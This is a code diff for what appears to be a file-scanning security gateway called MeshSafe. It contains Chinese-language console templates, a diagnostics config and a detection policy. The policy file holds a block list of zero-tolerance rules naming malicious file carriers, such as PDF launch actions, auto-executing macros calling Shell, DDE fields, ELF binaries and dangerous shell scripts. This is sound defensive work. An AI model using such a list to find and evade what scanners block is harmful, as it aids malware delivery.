<span class="chip chip-info" title="分类代码 {{ r.category }}">{{ r.category_cn }}</span>
</td>
<td>
{% if r.risk_level_cn %}<span class="chip {{ r.risk_level_chip }}">{{ r.risk_level_cn }}</span>
{% else %}<span class="chip chip-ok">{{ r.risk_level }}</span>{% endif %}
</td>
<td style="color:#888;font-size:12px;">{{ r.false_positive_rate }}</td>
<td><b>{{ r.weight }}</b></td>
<td>
{% if r.trigger_count > 0 %}<span class="chip chip-zt">{{ r.trigger_count }}</span>
{% else %}<span style="color:#bbb;">0</span>{% endif %}
</td>
<td style="font-size:11px;color:#888;">{{ r.reference[:50] }}{% if r.reference|length > 50 %}...{% endif %}</td>
</tr>
{% endfor %}
</tbody>
</table>
{% else %}
<div style="color:#999;text-align:center;padding:30px;">
{% if yara_rules_dir %}
YARA 规则库目录:<code>{{ yara_rules_dir }}</code><br>
目录内 {{ yara_files_count }} 个 .yar 文件
{% if yara_files_count == 0 %}—— 请检查规则文件是否存在{% endif %}
{% else %}
YARA 规则库未加载(可能 yara-python 未安装或规则目录不存在)
{% endif %}
</div>
{% endif %}
</div>
<div class="card" style="margin-top:12px;">
<h3>权重分档说明(来自 policy.yaml → yara_rule_weights)</h3>
<div style="font-size:13px;color:#555;line-height:1.8;">
<span class="chip chip-zt">critical → weight=85</span>
<span class="chip chip-warn">high → weight=65</span>
<span class="chip chip-info">medium → weight=45</span>
<span class="chip chip-ok">low → weight=25</span>
<span style="color:#888;margin-left:12px;">未配置的规则默认 weight=50</span>
</div>
</div>
</div>
<!-- ============ 版本历史 ============ -->
<div id="panel-versions" class="panel">
<div class="card">
<h3>策略版本历史({{ versions|length }} 条)</h3>
<table class="versions">
<thead><tr><th>版本</th><th>SHA256</th><th>创建时间</th><th>操作</th></tr></thead>
<tbody>
{% for v in versions %}
<tr>
<td>{{ v.version }}</td>
<td>{{ v.sha256 }}</td>
<td>{{ v.created_at|bj_time if v.created_at else '' }}</td>
<td>
{% if user.role == 'admin' %}
<form method="post" action="/console/policy/rollback/{{ v.version }}" style="display:inline;">
<button type="submit" class="btn-danger" style="padding:4px 12px;font-size:12px;">回滚到此版本</button>
</form>
{% endif %}
</td>
</tr>
{% else %}
<tr><td colspan="4" style="text-align:center;color:#999;">暂无版本记录(首次部署执行 scripts.init_db)</td></tr>
{% endfor %}
</tbody>
</table>
</div>
</div>
</main>
<script>
document.querySelectorAll('.tab').forEach(tab => {
tab.onclick = () => {
document.querySelectorAll('.tab').forEach(t => t.classList.remove('active'));
document.querySelectorAll('.panel').forEach(p => p.classList.remove('active'));
tab.classList.add('active');
document.getElementById('panel-' + tab.dataset.tab).classList.add('active');
};
});
</script>
</body>
</html>

232
app/templates/tasks.html Normal file
View File

@@ -0,0 +1,232 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<link rel="icon" href="/static/logo.png">
<title>任务历史 - MeshSafe 控制台</title>
<style>
* { box-sizing: border-box; }
body { font-family: -apple-system, "PingFang SC", "Microsoft YaHei", sans-serif;
margin: 0; background: #f4f6fa; color: #1e293b; }
{% include "_nav_style.html" %}
main { padding: 24px; max-width: 1500px; margin: 0 auto; }
.page-head { display: flex; align-items: flex-end; justify-content: space-between; margin-bottom: 18px; }
.page-head h1 { margin: 0 0 6px; font-size: 21px; font-weight: 700; }
.page-head .sub { font-size: 13px; color: #64748b; }
.page-head .count-chip {
background: #fff; border: 1px solid #e2e8f0; border-radius: 8px;
padding: 8px 14px; font-size: 12.5px; color: #475569;
}
.page-head .count-chip b { color: #0f172a; }
.panel { background: #fff; border-radius: 12px; padding: 18px 20px;
box-shadow: 0 1px 3px rgba(15,23,42,.07), 0 6px 20px rgba(15,23,42,.04);
border: 1px solid #eef2f7; }
table { width: 100%; border-collapse: collapse; }
th { background: #f8fafc; padding: 10px 12px; text-align: left; font-size: 11.5px;
color: #64748b; font-weight: 600; border-bottom: 1px solid #e8edf4; white-space: nowrap; }
td { padding: 10px 12px; font-size: 12.5px; border-bottom: 1px solid #f4f7fb; color: #334155; }
tr:last-child td { border-bottom: none; }
tbody tr:hover { background: #fafbfd; }
td.mono { font-family: ui-monospace, Menlo, Consolas, monospace; font-size: 11.5px; color: #64748b; }
td.fname { font-weight: 500; color: #1e293b; max-width: 230px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.verdict-cell { display: flex; align-items: center; gap: 6px; }
.mode-badge { display: inline-block; padding: 2px 8px; border-radius: 5px; font-size: 11px; }
.mode-sync { background: #e0f2fe; color: #0369a1; }
.mode-async { background: #f3e5f5; color: #7b1fa2; }
details > summary { cursor: pointer; color: #2563eb; user-select: none; font-size: 12px; }
details > summary:hover { text-decoration: underline; }
/* 详情列:限制宽度,内层内容横向滚动,不撑开外层表格 */
tbody td:last-child { min-width: 220px; max-width: 360px; vertical-align: top; }
details { display: block; width: 100%; }
details .findings { padding: 12px; font-size: 12px; background: #f8fafc;
border-radius: 8px; margin-top: 6px;
max-width: 100%; overflow-x: auto; overflow-y: visible; display: block; }
details .findings table { border: 1px solid #e8edf4; border-radius: 6px; overflow: hidden; min-width: 600px; }
details .findings th { font-size: 11px; padding: 6px 10px; white-space: nowrap; }
details .findings td { font-size: 11.5px; padding: 6px 10px; white-space: nowrap; }
.empty { text-align: center; padding: 50px; color: #94a3b8; font-size: 13px; }
/* ---------- 分页 ---------- */
.pager { display: flex; align-items: center; justify-content: space-between; margin-top: 16px;
padding-top: 14px; border-top: 1px solid #eef2f7; }
.pager .p-info { font-size: 12.5px; color: #64748b; }
.pager .p-info b { color: #0f172a; }
.pager .p-nav { display: flex; gap: 5px; align-items: center; }
.pager .p-nav a, .pager .p-nav span {
min-width: 32px; height: 30px; padding: 0 10px;
display: inline-flex; align-items: center; justify-content: center;
border-radius: 7px; font-size: 12.5px; text-decoration: none;
border: 1px solid #e2e8f0; color: #475569; background: #fff;
transition: all .15s;
}
.pager .p-nav a:hover { border-color: #93c5fd; color: #2563eb; background: #eff6ff; }
.pager .p-nav .cur { background: #1e3a5f; border-color: #1e3a5f; color: #fff; font-weight: 600; }
.pager .p-nav .disabled { opacity: .4; pointer-events: none; }
.pager .p-nav .dots { border: none; background: none; min-width: 20px; padding: 0; color: #94a3b8; }
/* ---------- 风险体系说明 ---------- */
.risk-legend { display: flex; flex-wrap: wrap; gap: 16px; margin-top: 14px; padding-top: 14px;
border-top: 1px dashed #e8edf4; }
.risk-legend .rl { display: flex; align-items: flex-start; gap: 7px; font-size: 11.5px; color: #94a3b8; }
.risk-legend .rl .rl-name { color: #334155; font-weight: 600; font-size: 12px; white-space: nowrap; }
</style>
</head>
<body>
{% set nav_active = 'tasks' %}
{% include "_nav.html" %}
<main>
<div class="page-head">
<div>
<h1>任务历史</h1>
<div class="sub">全部扫描任务记录 · 每页 {{ page_size }} 条</div>
</div>
<div class="count-chip">
共 <b>{{ total }}</b> 条记录 · 第 <b>{{ page }}</b> / {{ total_pages }} 页
</div>
</div>
<div class="panel">
{% if tasks %}
<table>
<thead>
<tr>
<th>时间</th>
<th>任务 ID</th>
<th>文件名</th>
<th>来源渠道</th>
<th>类型</th>
<th>大小</th>
<th>模式</th>
<th>检测结论</th>
<th>处置动作</th>
<th>风险分</th>
<th>耗时</th>
<th></th>
</tr>
</thead>
<tbody>
{% for t in tasks %}
<tr id="task-{{ t.id }}">
<td class="mono">{{ t.created_at|bj_time("%m-%d %H:%M:%S") if t.created_at else '' }}</td>
<td class="mono" title="{{ t.id }}">{{ t.id[0:10] }}...</td>
<td class="fname" title="{{ t.filename }}">{{ t.filename }}</td>
<td class="mono" title="{{ t.client_id }}">{{ t.channel|cn_channel }}</td>
<td class="mono" title="{{ t.real_type }}">{{ t.real_type[:16] if t.real_type else t.declared_ext }}</td>
<td class="mono">
{% if t.size > 1048576 %}{{ (t.size / 1048576)|round(1) }} MB
{% elif t.size > 1024 %}{{ (t.size / 1024)|round(1) }} KB
{% else %}{{ t.size }} B{% endif %}
</td>
<td><span class="mode-badge mode-{{ t.mode }}">{{ t.mode|cn_mode }}</span></td>
<td>
<div class="verdict-cell">
<span class="tag {{ t.verdict|cn_verdict_badge }}">{{ t.verdict|cn_verdict }}</span>
</div>
</td>
<td><span class="tag plain">{{ t.action|cn_action }}</span></td>
<td class="mono">{{ "%.0f"|format(t.score) }}</td>
<td class="mono">{{ t.duration_ms }} ms</td>
<td>
<details>
<summary>详情 ({{ t.findings|length }})</summary>
<div class="findings">
{% if t.findings %}
<table>
<thead>
<tr><th>检测引擎</th><th>严重度</th><th>命中规则</th><th>权重</th><th>细节</th></tr>
</thead>
<tbody>
{% for f in t.findings %}
<tr>
<td><span class="tag plain">{{ f.engine|cn_engine }}</span></td>
<td><span class="tag {{ f.severity|cn_severity_badge }}">{{ f.severity|cn_severity }}</span></td>
<td class="mono">{{ f.rule }}</td>
<td class="mono">{{ f.weight }}</td>
<td>{{ f.detail }}</td>
</tr>
{% endfor %}
</tbody>
</table>
{% else %}
<div style="color:#94a3b8;font-size:12px;">未检出任何风险信号</div>
{% endif %}
{% if t.sha256 %}
<div style="margin-top:10px;font-size:11px;color:#94a3b8;font-family:monospace;line-height:1.8;">
SHA256:{{ t.sha256 }}
{% if t.md5 %}<br>MD5:{{ t.md5 }}{% endif %}
<br>策略版本:{{ t.policy_version }}
{% if t.reason %}<br>裁决依据:{{ t.reason }}{% endif %}
</div>
{% endif %}
</div>
</details>
</td>
</tr>
{% endfor %}
</tbody>
</table>
<!-- 风险体系说明 -->
<div class="risk-legend">
{% for r in RISK_MATRIX %}
<div class="rl">
<span class="tag risk-{{ r.key }}">{{ r.label }}</span>
<span>{{ r.desc }}</span>
</div>
{% endfor %}
</div>
<!-- 分页 -->
<div class="pager">
<div class="p-info">
显示第 <b>{{ (page - 1) * page_size + 1 }}</b> - <b>{{ [page * page_size, total]|min }}</b> 条,共 <b>{{ total }}</b> 条
</div>
<div class="p-nav">
{% if has_prev %}
<a href="/console/tasks?page={{ prev_page }}">上一页</a>
{% else %}
<span class="disabled">上一页</span>
{% endif %}
{% if page_nums and page_nums[0] > 1 %}
<a href="/console/tasks?page=1">1</a>
{% if page_nums[0] > 2 %}<span class="dots">···</span>{% endif %}
{% endif %}
{% for p in page_nums %}
{% if p == page %}
<span class="cur">{{ p }}</span>
{% else %}
<a href="/console/tasks?page={{ p }}">{{ p }}</a>
{% endif %}
{% endfor %}
{% if page_nums and page_nums[-1] < total_pages %}
{% if page_nums[-1] < total_pages - 1 %}<span class="dots">···</span>{% endif %}
<a href="/console/tasks?page={{ total_pages }}">{{ total_pages }}</a>
{% endif %}
{% if has_next %}
<a href="/console/tasks?page={{ next_page }}">下一页</a>
{% else %}
<span class="disabled">下一页</span>
{% endif %}
</div>
</div>
{% else %}
<div class="empty">
<div style="font-size:28px;margin-bottom:12px;">📭</div>
暂无扫描记录。调用 <code>/api/v1/scans</code> 提交文件后,结果会自动出现在这里。
</div>
{% endif %}
</div>
</main>
</body>
</html>

View File

@@ -0,0 +1,323 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<link rel="icon" href="/static/logo.png">
<title>MeshSafe 控制台 — 测试靶场</title>
<style>
* { box-sizing: border-box; }
body { font-family: -apple-system, "PingFang SC", "Microsoft YaHei", sans-serif;
margin: 0; background: #f5f6fa; color: #333; }
{% include "_nav_style.html" %}
main { padding: 24px; max-width: 1400px; margin: 0 auto; }
h2 { margin: 0 0 16px; font-size: 18px; }
.summary { display: flex; gap: 16px; margin-bottom: 20px; }
.summary .card { flex: 1; background: white; border-radius: 10px; padding: 16px 20px;
box-shadow: 0 2px 8px rgba(0,0,0,.06); text-align: center; }
.summary .num { font-size: 32px; font-weight: 700; }
.summary .lbl { font-size: 12px; color: #888; margin-top: 4px; }
.summary .total .num { color: #1a2a6c; }
.summary .pass .num { color: #2e7d32; }
.summary .fail .num { color: #c62828; }
table { width: 100%; border-collapse: collapse; background: white;
border-radius: 10px; overflow: hidden; box-shadow: 0 2px 8px rgba(0,0,0,.06); }
th, td { padding: 10px 14px; text-align: left; font-size: 13px; border-bottom: 1px solid #f0f0f0; }
th { background: #f8f9fd; font-weight: 500; color: #555; }
tr:hover { background: #fafbff; }
.chip { display: inline-block; padding: 1px 8px; border-radius: 10px;
font-size: 11px; font-weight: 500; white-space: nowrap; }
.chip-zt { background: #ffebee; color: #c62828; }
.chip-warn { background: #fff3e0; color: #ef6c00; }
.chip-ok { background: #e8f5e9; color: #2e7d32; }
.chip-info { background: #e3f2fd; color: #1565c0; }
.chip-gray { background: #f0f0f0; color: #666; }
.pass-mark { color: #2e7d32; font-size: 16px; }
.fail-mark { color: #c62828; font-size: 16px; }
details { background: #fafbff; }
details summary { cursor: pointer; padding: 6px 12px; font-size: 12px; color: #1565c0; }
details[open] summary { border-bottom: 1px solid #e3f2fd; }
.findings-table { margin: 8px 12px; }
.findings-table th { background: #eef2fb; font-size: 12px; padding: 6px 10px; }
.findings-table td { padding: 5px 10px; font-size: 12px; }
.refresh-btn { display: inline-block; padding: 8px 20px; background: #1a2a6c;
color: white; border-radius: 6px; text-decoration: none; font-size: 13px; }
.refresh-btn:hover { background: #0f1d52; }
.clamav-note { background: #fff8e1; border: 1px solid #ffe082; border-radius: 8px;
padding: 10px 16px; font-size: 13px; color: #5d4037; margin-bottom: 16px; }
</style>
</head>
<body>
{% set nav_active = 'test' %}{% include "_nav.html" %}
<main>
<input type="file" id="uploadInput" multiple style="display:none">
{% if results %}
<div class="summary">
<div class="card total"><div class="num">{{ total }}</div><div class="lbl">样本总数</div></div>
<div class="card pass"><div class="num">{{ pass_count }}</div><div class="lbl">检测通过 ✅</div></div>
<div class="card fail"><div class="num">{{ fail_count }}</div><div class="lbl">检测未通过 ❌</div></div>
<div class="card" style="text-align:center;">
<a class="refresh-btn" href="/console/test?rescan=1">🔄 重新扫描</a>
<button id="uploadBtn" class="refresh-btn" style="background:#2e7d32; margin-left:8px;">📤 上传样本</button>
</div>
</div>
<div style="display:flex; gap:16px; margin-bottom:14px; font-size:12px; color:#64748b; align-items:center;">
<span>📦 当前策略:<b style="color:#1e293b;">{{ policy_version or '-' }}</b></span>
{% if last_run_at %}
<span>🕐 上次运行:<b style="color:#1e293b;">{{ last_run_at|bj_time("%m-%d %H:%M:%S") }}</b></span>
{% else %}
<span style="color:#f59e0b;">⚠️ 从未运行过 —— 点「重新扫描」开始检测</span>
{% endif %}
{% if rescan %}<span style="color:#0369a1;">✅ 本次为实时全量扫描结果</span>{% endif %}
</div>
{% if results[0].clamav_error %}
<div class="clamav-note">
⚠️ ClamAV 引擎不可用(本地未起 clamd)—— 部分 verdict 显示为 <code>error (ClamAV 不可用)</code>,
但 YARA / structure / documents / keywords 引擎已正常工作。生产环境 docker compose 起 ClamAV 后会自动加载。
</div>
{% endif %}
<table>
<thead>
<tr>
<th style="width:40px;">#</th>
<th style="width:50px;">结果</th>
<th>样本文件</th>
<th style="width:80px;">分类</th>
<th style="width:180px;">期望裁决 · 规则</th>
<th style="width:200px;">检测结论 · 规则</th>
<th style="width:60px;">方向</th>
<th style="width:60px;">规则</th>
<th style="width:60px;">Score</th>
<th style="width:70px;">耗时</th>
<th style="width:80px;">Findings</th>
</tr>
</thead>
<tbody>
{% for r in results %}
<tr>
<td style="color:#999;font-size:12px;">{{ loop.index }}</td>
<td class="{% if r.overall_ok %}pass-mark{% else %}fail-mark{% endif %}">
{% if r.overall_ok %}✅{% else %}❌{% endif %}
</td>
<td>
<div style="font-family:monospace;font-size:12px;">{{ r.filename }}</div>
<div style="color:#888;font-size:11px;">{{ r.description }}</div>
</td>
<td><span class="chip chip-info">{{ r.category }}</span></td>
<td>
<!-- 期望裁决:完整显示 expected_verdict -->
{% set exp_v = r.expected_verdict or '' %}
{% if exp_v in ('reject', 'malicious') %}
<span class="tag bad">拦截 {{ exp_v }}</span>
{% elif exp_v == 'suspicious' %}
<span class="chip chip-warn">可疑</span>
{% elif exp_v == 'pass' or exp_v == 'clean' %}
<span class="tag ok">放行 {{ exp_v }}</span>
{% else %}
<span class="chip chip-gray">{{ exp_v or '未设' }}</span>
{% endif %}
<!-- 期望规则 -->
{% if r.expected_rules %}
<div style="margin-top:4px;">
{% for rule in r.expected_rules %}
<span class="chip chip-gray" style="font-family:monospace;font-size:10px;">{{ rule }}</span>
{% endfor %}
</div>
{% endif %}
</td>
<td>
<!-- 实际裁决 -->
<span class="tag {{ r.actual_verdict|cn_verdict_badge }}" title="{{ r.actual_verdict }}">{{ r.actual_verdict|cn_verdict }}</span>
{% if r.clamav_error %}<div style="font-size:10px;color:#ef6c00;">ClamAV 不可用</div>{% endif %}
<!-- 实际规则 -->
{% if r.actual_rules %}
<div style="margin-top:4px;">
{% for rule in r.actual_rules %}
<span class="chip chip-{% if rule in r.expected_rules %}ok{% else %}info{% endif %}" style="font-family:monospace;font-size:10px;">{{ rule }}</span>
{% endfor %}
</div>
{% elif r.actual_verdict in ('pass', 'clean') %}
<div style="margin-top:4px;color:#aaa;font-size:11px;">(无规则命中)</div>
{% else %}
<div style="margin-top:4px;color:#f59e0b;font-size:11px;">⚠️ 无规则</div>
{% endif %}
</td>
<td style="text-align:center;">
{% if r.verdict_match %}
<span style="color:#2e7d32;font-size:16px;" title="判定方向匹配">✅</span>
{% else %}
<span style="color:#c62828;font-size:16px;" title="判定方向偏离">❌</span>
{% endif %}
</td>
<td style="text-align:center;">
{% if r.rule_hit %}
<span style="color:#2e7d32;font-size:16px;" title="规则命中">✅</span>
{% else %}
<span style="color:#c62828;font-size:16px;" title="规则未命中">❌</span>
{% endif %}
</td>
<td><b>{{ "%.0f"|format(r.score) }}</b></td>
<td style="color:#888;">{{ r.duration_ms }}ms</td>
<td>
<details>
<summary>{{ r.findings_count }} 条</summary>
{% if r.findings %}
<table class="findings-table">
<thead><tr><th>引擎</th><th>规则</th><th>严重度</th><th>权重</th><th>细节</th></tr></thead>
<tbody>
{% for f in r.findings %}
<tr>
<td><span class="chip chip-info">{{ f.engine }}</span></td>
<td style="font-family:monospace;">{{ f.rule }}</td>
<td>{{ f.severity }}</td>
<td>{{ f.weight }}</td>
<td style="color:#888;font-size:11px;">{{ f.detail }}</td>
</tr>
{% endfor %}
</tbody>
</table>
{% endif %}
</details>
</td>
</tr>
{% endfor %}
</tbody>
</table>
{% else %}
<div style="text-align:center;padding:60px;color:#999;">
测试样本目录不存在:<code>{{ samples_dir }}</code><br>
请运行:<code>python scripts/generate_test_samples.py</code>
</div>
{% endif %}
<!-- 用户自定义上传扫描结果区 -->
<div id="uploadResultArea" style="display:none; margin-top:24px;">
<h2 style="display:flex;align-items:center;gap:10px;">
📤 我的上传扫描结果
<span id="uploadSummary" style="font-size:13px;color:#888;font-weight:normal;"></span>
</h2>
<table id="uploadTable" style="margin-bottom:16px;">
<thead>
<tr>
<th style="width:40px;">#</th>
<th style="width:30px;">结果</th>
<th>文件</th>
<th style="width:90px;">大小</th>
<th style="width:110px;">verdict</th>
<th style="width:70px;">Score</th>
<th style="width:80px;">耗时</th>
<th>Findings</th>
</tr>
</thead>
<tbody id="uploadTableBody"></tbody>
</table>
</div>
</main>
<script>
(function() {
const btn = document.getElementById('uploadBtn');
const input = document.getElementById('uploadInput');
btn.addEventListener('click', function() { input.click(); });
input.addEventListener('change', async function() {
const files = Array.from(input.files);
if (!files.length) return;
btn.disabled = true;
btn.textContent = '⏳ 扫描中 ' + files.length + ' 个文件...';
input.value = ''; // reset 允许重复选同文件
const fd = new FormData();
files.forEach(f => fd.append('files', f));
try {
const resp = await fetch('/console/test/upload', {
method: 'POST',
body: fd,
credentials: 'same-origin',
});
const data = await resp.json();
renderUploadResults(data.results || []);
} catch (err) {
alert('上传扫描失败: ' + err.message);
} finally {
btn.disabled = false;
btn.textContent = '📤 上传样本';
}
});
function renderUploadResults(results) {
const area = document.getElementById('uploadResultArea');
const tbody = document.getElementById('uploadTableBody');
const summary = document.getElementById('uploadSummary');
area.style.display = 'block';
tbody.innerHTML = '';
let pass = 0, fail = 0;
results.forEach((r, i) => {
const icon = r.verdict === 'reject' || r.verdict === 'malicious' ? '❌' :
r.verdict === 'error' ? '⚠️' : '✅';
if (r.verdict === 'reject' || r.verdict === 'malicious' || r.verdict === 'error') fail++;
else pass++;
const sizeKB = r.size < 1024 ? r.size + ' B' : (r.size / 1024).toFixed(1) + ' KB';
const findingsHtml = r.findings && r.findings.length
? '<details><summary>' + r.findings.length + ' 条 findings</summary>' +
'<table class="findings-table"><thead><tr><th>引擎</th><th>规则</th><th>严重度</th><th>权重</th><th>细节</th></tr></thead><tbody>' +
r.findings.map(f =>
'<tr><td><span class="chip chip-info">' + escapeHtml(f.engine) + '</span></td>' +
'<td style="font-family:monospace;">' + escapeHtml(f.rule) + '</td>' +
'<td>' + escapeHtml(f.severity) + '</td>' +
'<td>' + escapeHtml(String(f.weight)) + '</td>' +
'<td style="color:#888;font-size:11px;">' + escapeHtml(f.detail) + '</td></tr>'
).join('') +
'</tbody></table></details>'
: '<span style="color:#aaa;">(无)</span>';
const clamavNote = r.clamav_error
? '<div style="font-size:10px;color:#ef6c00;">ClamAV 不可用</div>'
: '';
tbody.insertAdjacentHTML('beforeend',
'<tr>' +
'<td style="color:#999;font-size:12px;">' + (i + 1) + '</td>' +
'<td>' + icon + '</td>' +
'<td>' +
'<div style="font-family:monospace;font-size:12px;">' + escapeHtml(r.filename) + '</div>' +
(r.reason ? '<div style="color:#c62828;font-size:11px;max-width:260px;overflow:hidden;text-overflow:ellipsis;">' + escapeHtml(r.reason) + '</div>' : '') +
'</td>' +
'<td style="color:#888;font-size:12px;">' + sizeKB + '</td>' +
'<td><span class="tag ' + (r.verdict_badge || 'muted') + '" title="' + escapeHtml(r.verdict) + '">' + escapeHtml(r.verdict_cn || r.verdict) + '</span>' + clamavNote + '</td>' +
'<td><b>' + (r.score || 0).toFixed(0) + '</b></td>' +
'<td style="color:#888;">' + (r.duration_ms || 0) + 'ms</td>' +
'<td>' + findingsHtml + '</td>' +
'</tr>'
);
});
summary.textContent = '✅ ' + pass + ' 通过 / ❌ ' + fail + ' 未通过 / 共 ' + results.length + ' 个文件';
}
function escapeHtml(s) {
return String(s).replace(/[&<>"']/g, c => ({'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'}[c]));
}
})();
</script>
</body>
</html>

58
config/diagnostics.yaml Normal file
View File

@@ -0,0 +1,58 @@
# =============================================================================
# MeshSafe Diagnostics Kit v1.0 配置
# =============================================================================
# 环境变量可覆盖(优先级更高):
# MESHSAFE_DIAG_ENABLED=true|false
# MESHSAFE_DIAG_DOCKER=auto|true|false
# MESHSAFE_DIAG_ERROR_INTERVAL=30
# MESHSAFE_DIAG_CONTAINER_INTERVAL=300
# MESHSAFE_DIAG_DB_INTERVAL=60
# MESHSAFE_DIAG_STORAGE_ENABLED=true|false
# =============================================================================
diagnostics:
# ---------- 总开关 ----------
# true = 启动定时器、检测 Docker、运行规则引擎
# false = 只保留手动导出功能,所有自动诊断关闭
enabled: true
# ---------- Docker 日志/容器状态能力 ----------
# auto = 启动时自动检测 docker.sock 挂载
# true = 强制启用,连不上启动报错
# false = 强制关闭
docker:
enabled: auto
# ---------- 后台定时器周期(秒,0 = 不跑)----------
timers:
error_scan_interval: 30 # 错误/拦截类日志(R001/R005/R009-R014)
container_check_interval: 300 # 容器/引擎类(R002/R003/R004/R015)
db_aggregate_interval: 60 # DB 聚合类(R006/R007/R008)
# ---------- 日志行数控制 ----------
docker_log_tail: 500 # 定时器 grep 最近多少行
export_log_tail: 2000 # 导出时完整抓多少行
# ---------- 导出包数据范围 ----------
# 所有 DB 查询都按"过去 N 天"过滤,避免导出全库
export:
db_span_days: 7 # DB 查询时间范围(scan_tasks / findings / errors)
scan_tasks_max: 10000 # scan_tasks.json 上限条数(防极端大数据量爆包)
scan_findings_max: 50000 # scan_findings.json 上限条数
engine_errors_max: 5000 # engine_errors.json 上限条数
# ---------- 规则阈值 ----------
rules:
error_ratio_threshold: 0.05 # R001: error > 5% 告警
clamav_db_stale_days: 7 # R002: 病毒库 > 7 天告警
reject_ratio_threshold: 0.20 # R007: reject > 20% 告警
suspicious_exceeds_malicious: true # R006 开关
# ---------- 持久化存储 ----------
# 关闭后回退纯内存模式(定时器结果重启就丢)
storage:
enabled: true
dir: /app/data/diagnostics
history_retention_days: 7 # 规则历史保留天数
log_snapshot_on_timer: true # 定时器跑完是否也存日志快照
log_snapshot_tail: 500 # 定时存的日志行数(节省磁盘)

302
config/policy.yaml Normal file
View File

@@ -0,0 +1,302 @@
# ============================================================
# MeshSafe 全局检测策略
# 说明:所有裁决逻辑集中在此文件,调整策略无需改动代码。
# 修改后调用 POST /api/v1/policies/reload 或重启服务生效。
# ============================================================
version: "2026.10.2"
description: "MeshSafe 默认全局策略(麒麟桌面/UOS x86 + WPS 目标终端)"
# ---------- 全局阈值 ----------
global:
# 风险分 ≥ 该值直接拒绝
block_score: 70
# 风险分落在该区间转人工复核
review_score: [30, 70]
# 引擎不可用时的降级策略:fail_closed(拒绝)/ fail_open(放行)
# 生产环境应为 fail_closed,满足等保"安全优先"要求
engine_failure_mode: fail_closed
# 单文件大小上限(字节)—— 与 ClamAV MaxFileSize=1G 对齐,留余量给其他 5 引擎
max_file_size: 1610612736 # 1.5 GB
# 同步模式的最大文件大小,超过转异步
sync_max_size: 536870912 # 512 MB(超过转异步扫描,避免请求超时)
# 是否允许加密压缩包
allow_encrypted_archive: false
# 是否允许加密文档(Office 加密)
allow_encrypted_document: false
# ================================================================
# 零容忍规则集(独立于评分模型,优先级最高)
# 命中即 reject,不走评分累加。与 §7.2 步骤 0 对应。
# ================================================================
zero_tolerance_rules:
# ---- 跨平台通用载体 ----
- PdfJavaScript # PDF 打开即执行脚本
- PdfLaunchAction # PDF 打开即启动程序
- PdfOpenAction # PDF 打开即执行动作
- PathTraversal # 解包路径穿越
- IsoWithExecutable # ISO 挂载后内部含可执行
- MacroObfuscated # 宏代码混淆/加密(意图不可知)
- AttachedTemplate # Office 外部模板注入
# ---- 宏相关(WPS on Linux 生效)----
- VBAAutoExec # VBA 宏 AutoOpen 自动执行入口
- VBAAutoExecShell # VBA 宏自动执行 + Shell/CreateObject 调用
- MRaptorAutoExec # mraptor 判定为自动执行宏
- MRaptorAutoExecSuspicious # mraptor 判定为可疑自动执行宏
- DDEAutoExecution # DDE/DDEAUTO 自动执行字段
- EmbeddedExecutable # 文档内嵌可执行对象
# ---- Linux 专属载体 ----
- LinuxExecutable # ELF 原生二进制
- DesktopFileAutoExec # .desktop 文件 Exec= 字段含危险命令
- ShellScriptDangerous # Shell/Python/Perl/Ruby 脚本含危险函数
- LinuxPortableExecutable # AppImage/Flatpak/Snap 便携包
- ArchiveContainsLinuxExec # 压缩包内混有 .sh/.deb/.run/.bin
# ---- Windows 专属载体(纵深防御)----
- LnkWithAutoExec # LNK 快捷方式(Linux 不识别,保持检测)
- ChmWithScript # CHM 帮助文件(Linux 默认不自动执行)
# ---------- 文件类型白名单 ----------
# 只允许这些类型通过。空列表表示不限制(不推荐生产使用)。
allowed_extensions:
# --- Office 文档 ---
- .doc
- .docx
- .docm
- .xls
- .xlsx
- .xlsm
- .ppt
- .pptx
- .pptm
- .rtf
- .pdf
- .wps # WPS 文字
- .et # WPS 表格
- .dps # WPS 演示
# --- 文本与图像 ---
- .txt
- .csv
- .json
- .xml
- .yaml
- .yml
- .html
- .htm
- .md # Markdown(飞书/Notion 导出)
- .markdown
- .jpg
- .jpeg
- .png
- .gif
- .bmp
- .tiff
- .svg
- .webp
# --- 音视频 ---
- .mp4
- .mov
- .avi
- .mkv
- .wmv
- .flv
- .webm
- .mp3
- .wav
- .flac
- .m4a
# --- 脑图/设计 ---
- .xmind
- .drawio
- .vsdx
- .bpmn
- .epub
# --- 邮件 ---
- .eml
- .msg
# --- 归档(允许进入后递归扫描)---
- .zip
- .rar
- .7z
- .tar
- .gz
- .bz2
- .xz
- .iso
# --- 可执行与脚本(零容忍规则拦截,此处允许进入裁决流程)---
# 两层防御:零容忍(步骤 0)先拦截,扩展名白名单(步骤 3)作为兜底
# 这样策略中临时禁用某个零容忍规则时,文件仍可进入评分裁决
- .exe
- .dll
- .msi
- .scr
- .com
- .elf
- .so
- .desktop
- .appimage
- .deb
- .rpm
- .run
- .bin
- .snap
- .sh
- .bash
- .zsh
- .py
- .pl
- .rb
- .js
- .vbs
- .bat
- .cmd
- .ps1
- .hta
- .lnk
- .chm
# ---------- 需要强制深检的类型 ----------
# 一期无沙箱,此配置预留。命中这些类型自动转异步。
sandbox_required_extensions:
- .exe
- .msi
- .iso
# ---------- 特定规则的处置覆盖 ----------
# 仅针对未进入零容忍集的规则。零容忍规则已在上方处理,此处不再覆盖。
# rule_name: [action, reason_override]
# action 取值:pass / pass_with_flag / manual_review / reject / reject_and_notify
rule_overrides:
VBAShellInvocation:
action: manual_review
reason: "宏调用 Shell 但无自动执行入口,需人工复核"
ArchiveContainsExecutable:
action: manual_review
reason: "压缩包内含 Windows 可执行文件,转人工确认(Linux 不识别)"
ArchiveBombSuspect:
action: reject
reason: "压缩比异常,疑似压缩炸弹"
ExtensionMismatch:
action: reject
reason: "声明扩展名与真实类型不一致,疑似伪装"
DoubleExtension:
action: reject
reason: "双扩展名伪装,高风险"
# ---- 邮件相关 ----
EmailAttachmentDangerous:
action: manual_review
reason: "邮件附件为高风险类型,需人工确认是否为钓鱼/恶意附件"
EmailAttachmentDisguised:
action: reject
reason: "邮件附件存在双扩展名伪装,高风险钓鱼特征"
EmailPhishingKeyword:
action: manual_review
reason: "邮件正文/Subject 命中钓鱼特征,需人工确认"
# ---- 加密 ----
OfficeEncrypted:
action: reject
reason: "Office 文档已加密,策略禁止加密文档进入内网"
